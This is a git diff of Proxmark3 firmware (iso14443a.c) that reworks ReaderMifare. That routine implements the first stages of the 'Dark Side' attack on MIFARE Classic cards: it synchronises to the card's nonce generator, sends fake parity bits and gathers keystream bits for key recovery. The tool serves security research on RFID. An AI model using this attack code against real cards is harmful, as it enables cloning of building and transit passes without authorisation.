X-Git-Url: http://git.zerfleddert.de/cgi-bin/gitweb.cgi/proxmark3-svn/blobdiff_plain/ed258538dad9f8cf0fb0a8220fc341ce91aa59b5..babfcaa0f3e4f3d83fd7ac9707a37db12431ec80:/armsrc/iso14443a.c diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index d174a31e..56afaeb8 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1515,7 +1515,7 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int // Signal field is on with the appropriate LED LED_D_ON(); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); - + // Now get the answer from the card Demod.output = receivedResponse; Demod.len = 0; @@ -1612,11 +1612,11 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u int len; // Broadcast for a card, WUPA (0x52) will force response from all cards in the field - ReaderTransmitBitsPar(wupa,7,0); + ReaderTransmitBitsPar(wupa,7,0); // Receive the ATQA if(!ReaderReceive(resp)) return 0; // Dbprintf("atqa: %02x %02x",resp[0],resp[1]); - + if(p_hi14a_card) { memcpy(p_hi14a_card->atqa, resp, 2); p_hi14a_card->uidlen = 0; @@ -1688,7 +1688,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u // Request for answer to select AppendCrc14443a(rats, 2); ReaderTransmit(rats, sizeof(rats)); - + if (!(len = ReaderReceive(resp))) return 0; if(p_hi14a_card) { @@ -1811,87 +1811,223 @@ void ReaderIso14443a(UsbCommand * c) LEDsoff(); } + +// prepare the Mifare AUTH transfer with an added necessary delay. +void PrepareDelayedAuthTransfer(uint8_t* frame, int len, uint16_t delay) +{ + CodeIso14443aBitsAsReaderPar(frame, len*8, GetParity(frame,len)); + + uint8_t bitmask = 0; + uint8_t bits_to_shift = 0; + uint8_t bits_shifted = 0; + + if (delay) { + for (uint16_t i = 0; i < delay; i++) { + bitmask |= (0x01 << i); + } + ToSend[++ToSendMax] = 0x00; + for (uint16_t i = 0; i < ToSendMax; i++) { + bits_to_shift = ToSend[i] & bitmask; + ToSend[i] = ToSend[i] >> delay; + ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay)); + bits_shifted = bits_to_shift; + } + } +} + + + +// Determine the distance between two nonces. +// Assume that the difference is small, but we don't know which is first. +// Therefore try in alternating directions. +int32_t dist_nt(uint32_t nt1, uint32_t nt2) { + + uint16_t i; + uint32_t nttmp1, nttmp2; + + if (nt1 == nt2) return 0; + + nttmp1 = nt1; + nttmp2 = nt2; + + for (i = 1; i < 32768; i++) { + nttmp1 = prng_successor(nttmp1, 1); + if (nttmp1 == nt2) return i; + nttmp2 = prng_successor(nttmp2, 1); + if (nttmp2 == nt1) return -i; + } + + return(-99999); // either nt1 or nt2 are invalid nonces +} + + //----------------------------------------------------------------------------- -// Read an ISO 14443a tag. Send out commands and store answers. -// +// Recover several bits of the cypher stream. This implements (first stages of) +// the algorithm described in "The Dark Side of Security by Obscurity and +// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime" +// (article by Nicolas T. Courtois, 2009) //----------------------------------------------------------------------------- -void ReaderMifare(uint32_t parameter) +void ReaderMifare(bool first_try) { // Mifare AUTH uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + static uint8_t mf_nr_ar3; - uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes + uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); traceLen = 0; tracing = false; - iso14443a_setup(); - - LED_A_ON(); - LED_B_OFF(); - LED_C_OFF(); - byte_t nt_diff = 0; - LED_A_OFF(); byte_t par = 0; //byte_t par_mask = 0xff; - byte_t par_low = 0; - int led_on = TRUE; - uint8_t uid[8]; + static byte_t par_low = 0; + bool led_on = TRUE; + uint8_t uid[10]; uint32_t cuid; - tracing = FALSE; - byte_t nt[4] = {0,0,0,0}; - byte_t nt_attacked[4], nt_noattack[4]; + uint32_t nt, previous_nt; + static uint32_t nt_attacked = 0; byte_t par_list[8] = {0,0,0,0,0,0,0,0}; byte_t ks_list[8] = {0,0,0,0,0,0,0,0}; - num_to_bytes(parameter, 4, nt_noattack); - int isOK = 0, isNULL = 0; - while(TRUE) - { - LED_C_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(50); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - LED_C_ON(); - SpinDelay(2); + static uint32_t sync_time; + static uint32_t sync_cycles; + int catch_up_cycles = 0; + int last_catch_up = 0; + uint16_t consecutive_resyncs = 0; + int isOK = 0; + + + + if (first_try) { + StartCountMifare(); + mf_nr_ar3 = 0; + iso14443a_setup(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); // resets some FPGA internal registers + while((GetCountMifare() & 0xffff0000) != 0x10000); // wait for counter to reset and "warm up" + while(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME); // wait for ssp_frame to be low + while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME)); // sync on rising edge of ssp_frame + sync_time = GetCountMifare(); + sync_cycles = 65536; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces). + nt_attacked = 0; + nt = 0; + par = 0; + } + else { + // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same) + // nt_attacked = prng_successor(nt_attacked, 1); + mf_nr_ar3++; + mf_nr_ar[3] = mf_nr_ar3; + par = par_low; + } + + LED_A_ON(); + LED_B_OFF(); + LED_C_OFF(); + + + for(uint16_t i = 0; TRUE; i++) { + + WDT_HIT(); // Test if the action was cancelled if(BUTTON_PRESS()) { break; } + + LED_C_ON(); + + if(!iso14443a_select_card(uid, NULL, &cuid)) { + continue; + } - if(!iso14443a_select_card(uid, NULL, &cuid)) continue; + //keep the card active + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + PrepareDelayedAuthTransfer(mf_auth, sizeof(mf_auth), (sync_cycles + catch_up_cycles) & 0x00000007); + + sync_time = sync_time + ((sync_cycles + catch_up_cycles) & 0xfffffff8); + catch_up_cycles = 0; + + // if we missed the sync time already, advance to the next nonce repeat + while(GetCountMifare() > sync_time) { + sync_time = sync_time + (sync_cycles & 0xfffffff8); + } + + // now sync. After syncing, the following Classic Auth will return the same tag nonce (mostly) + while(GetCountMifare() < sync_time); + // Transmit MIFARE_CLASSIC_AUTH - ReaderTransmit(mf_auth, sizeof(mf_auth)); + int samples = 0; + int wait = 0; + TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); - // Receive the (16 bit) "random" nonce - if (!ReaderReceive(receivedAnswer)) continue; - memcpy(nt, receivedAnswer, 4); + // Receive the (4 Byte) "random" nonce + if (!ReaderReceive(receivedAnswer)) { + continue; + } - // Transmit reader nonce and reader answer - ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par); + + previous_nt = nt; + nt = bytes_to_num(receivedAnswer, 4); - // Receive 4 bit answer - if (ReaderReceive(receivedAnswer)) - { - if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; + // Transmit reader nonce with fake par + ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par); - isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0); - if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue; + if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet + int nt_distance = dist_nt(previous_nt, nt); + if (nt_distance == 0) { + nt_attacked = nt; + } + else { + if (nt_distance == -99999) { // invalid nonce received, try again + continue; + } + sync_cycles = (sync_cycles - nt_distance); +// Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles); + continue; + } + } + if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again... + catch_up_cycles = -dist_nt(nt_attacked, nt); + if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one. + catch_up_cycles = 0; + continue; + } + if (catch_up_cycles == last_catch_up) { + consecutive_resyncs++; + } + else { + last_catch_up = catch_up_cycles; + consecutive_resyncs = 0; + } + if (consecutive_resyncs < 3) { + Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs); + } + else { + sync_cycles = sync_cycles + catch_up_cycles; + Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles); + } + continue; + } + + consecutive_resyncs = 0; + + // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding + if (ReaderReceive(receivedAnswer)) + { + catch_up_cycles = 8; // the PRNG doesn't run during data transfers. 4 Bit = 8 cycles + if (nt_diff == 0) { - LED_A_ON(); - memcpy(nt_attacked, nt, 4); - //par_mask = 0xf8; - par_low = par & 0x07; + par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change } led_on = !led_on; if(led_on) LED_B_ON(); else LED_B_OFF(); + par_list[nt_diff] = par; ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; @@ -1902,10 +2038,10 @@ void ReaderMifare(uint32_t parameter) } nt_diff = (nt_diff + 1) & 0x07; - mf_nr_ar[3] = nt_diff << 5; + mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5); par = par_low; } else { - if (nt_diff == 0) + if (nt_diff == 0 && first_try) { par++; } else { @@ -1914,31 +2050,27 @@ void ReaderMifare(uint32_t parameter) } } - LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE); + LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE); LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE); LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE); - byte_t buf[48]; -// UsbCommand ack = {CMD_ACK, {isOK, 0, 0}}; + mf_nr_ar[3] &= 0x1F; + + byte_t buf[28]; memcpy(buf + 0, uid, 4); - memcpy(buf + 4, nt, 4); + num_to_bytes(nt, 4, buf + 4); memcpy(buf + 8, par_list, 8); memcpy(buf + 16, ks_list, 8); + memcpy(buf + 24, mf_nr_ar, 4); - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,buf,48); -// UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand)); - LED_B_OFF(); + cmd_send(CMD_ACK,isOK,0,0,buf,28); // Thats it... FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); tracing = TRUE; - - if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); } - //----------------------------------------------------------------------------- // MIFARE 1K simulate. //